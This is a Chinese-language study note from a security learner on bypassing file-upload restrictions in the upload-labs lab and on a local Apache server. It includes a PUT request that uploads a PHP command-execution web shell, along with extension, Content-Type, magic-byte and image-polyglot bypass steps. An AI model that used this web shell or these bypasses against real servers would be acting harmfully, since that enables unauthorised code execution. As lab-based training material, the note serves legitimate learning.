教程看的https://www.bilibili.com/video/BV1K741147FY里面的有很多没有说直接绕过了就很烦,但是这个教程内容很丰富。教程里面修改东西的我也不知道什么意思他也不说就很烦,我就自己百度找然后都写到笔记里面了

文件上传绕过思路在这个地方找到https://www.bilibili.com/read/cv6978946/

image-20201227112040834

PUT 方法文件上发

判断目标开没有开启PUT 方法

向指定资源位置上传其最新内容

开启PUT

打开Apache配置文件httpd.conf,在上面添加

找到下面的然后叫注释去掉,加载modules/mod_dav.somodules/mod_dav_fs.so模块

LoadModule加载特定的DSO模块

1
2
#LoadModule dav_module modules/mod_dav.so
#LoadModule dav_fs_module modules/mod_dav_fs.so

image-20201224204819759

添加DAV On

image-20201224204845178

在配置文件的最上面添加,注意一点要最上面

1
DavLockDB C:\phpStudy\PHPTutorial\WWW\a

image-20201224205715704

然后重启服务

image-20201224205814859

查看有没有开启PUT请求

下面查看有什么方法里面是没有写PUT的请求的

在终端输入

1
telnet 服务器ip 端口

然后在输入

1
2
OPTIONS / HTTP/1.1
Host: 服务器的ip

image-20201224211627382

用nc也可以

image-20201224212126057

用PUT请求上发文件

用burp发起PUT请求上发webshell到/a/a.php

1
2
3
4
5
6
7
PUT /a/a.php HTTP/1.1
Host: 192.168.31.160


<?php
system($_GET['cmd']);
?>

可以看见返回的是201

image-20201225192556437

我们访问执行命令

可以看见执行了命令

image-20201225193001865

前端检查绕过

有web服务器,文件上发检查只在前端js来检查,如检查文件后缀名来判断上发的文件

比如upload-labs的第一关

下面是他的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

我们直接发送.php文件

image-20201224115337934

看一下页面源代码

image-20201224114822127

他会调用 checkFile()函数

image-20201224115024388

我们只需要叫html的调用的标签删除就可以了

image-20201224115121029

我把他删除

image-20201224115144045

然后我们发照片

上传成功

image-20201224115220757

image-20201224115234776

修改文件名绕过

比如upload-labs的第一关

上发一个phpinfo.php文件里面内容

1
2
3
4
<?php
echo phpinfo();

?>

我们叫.php文件改成.png格式

image-20201226181232127

改成png

image-20201226181407983

用burp抓一下

image-20201226181518539

叫文件名改.php

image-20201226181616786

可以看见文件上传成功

image-20201226181657727

访问地址

image-20201226181715424

文件类型绕过

下面这个照片的括住的就是文件的类型

1
Content-Type: image/png

Content-Type:字段就是指定文件类型的
image/png就是png类型的

image-20201226182236835

文件类型可以用mimetype命令来查看

格式

1
mimetype 要查看的文件名

1
mimetype phpinfo.php

image-20201226190032426
如果我们叫php文件名改成png用mimetype命令检查还是显示php类型

下面我叫phpinfo.php文件改成phpinfo.png文件

image-20201226190817584

mimetype来检查

可以看见还是php类型

image-20201226190958336

下面是在百度上找到文件类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*.php  		application/x-php
*.gif image/gif
*.html text/html
*.jpeg image/jpeg
*.jpg image/jpeg
*.js text/javascript, application/javascript
*.mp3 audio/mpeg
*.mp4 audio/mp4, video/mp4
*.pdf application/pdf
*.png image/png
*.ppt application/vnd.ms-powerpoint
*.txt text/plain
*.xml text/xml, application/xml
*.zip aplication/zip

演示在比如upload-labs的第二关

上发一个phpinfo.php文件里面内容

1
2
3
4
<?php
echo phpinfo();

?>

他就会报文件类型不正确

image-20201226183750686

用burp抓包叫文件名改成png

image-20201226183934420

发现还是文件上传不正确

image-20201226184048804

在选择一个php文件上传

用burp抓包,然后我们叫修改文件的类型改成image/png 就是png类型

image-20201226184146860

然后文件上传成功

image-20201226184427789

image-20201226184443032

修改数据包的内容绕过

有的过滤会检查文件内容每一个照片里面都有一个前面这个字段来代表文件类型
我们抓一个普通的照片上传文件的数据包

可以看见前面有一个PNG的字符串

image-20201226193145015

比如upload-labs的第十四关

上发一个phpinfo.php文件里面内容

1
2
3
4
<?php
echo phpinfo();

?>

上发的时候用burp抓包如果叫文件名,和类型给修改成png格式的发现还是发不上去

image-20201226193531143

然后我们发一个png文件叫里面的文件给文件内容全部给改成webshell只留下照片的内容头的部分

上传一个普通照片文件

image-20201227084637858

用burp进行抓包

image-20201227084716612

然后我们叫里面改成webshell只留下照片的内容头的部分

image-20201227084821816

放包就上发上去了

image-20201227095004893

但是是执行不了的应为他是png文件,可以通过其他的漏洞进行执行比如解析漏洞

将照片和webshell合成绕过

他会吧一个webshell的木马复制到照片里面,但是这个有一个问题就是当服务器解析照片的时候可能会受到照片的源码的内容应为webshell的运行

copy命令

我们准备一个文件名叫phpinfo.php

内容

1
2
3
4
<?php
echo phpinfo();

?>

还有一个普通的照片名字zm9kpy.jpg

image-20201227100118849

命令copy /a zm9kpy.jpg + /b phpinfo.php = a.jpg

照片顺序不要搞错了不然就叫webshell代码插到最前面了

可以看见生成出来一个a.jpg文件

编辑出来的照片有的可能查看不了

image-20201227110046213

教程上是这样写的不容易看懂

image-20201227100734663

照片还是可以打开的

image-20201227110144969

查看照片文件的源代码

可以看见已经插入上面了

image-20201227110517915

演示在比如upload-labs的第十四关

用这个照片进行上传可以上传上去

image-20201227110633221

复制照片的链接照片应为是jpg类型的所以执行不了,可以借用其他的漏洞来实现

image-20201227110938770

我在服务器里面叫这个文件名手动改成php文件看看能不能执行

可以执行

image-20201227111542327

文件幻术头绕过

同照片的文件内容前几个自己都是相同的下面的16进制是在一个博客上https://blog.csdn.net/Kevinhanser/article/details/81613003找的

1
2
3
jpg=FF D8 FF E0 00 10 4A 46 49 46
gif=47 49 46 38 39 61
png = 89 50 4E 47

我用burp抓一个jpg的数据包看一下16进行的头

可以看见是相通的

image-20201227114401188

演示在比如upload-labs的第十四关

看看文件是否能上传上去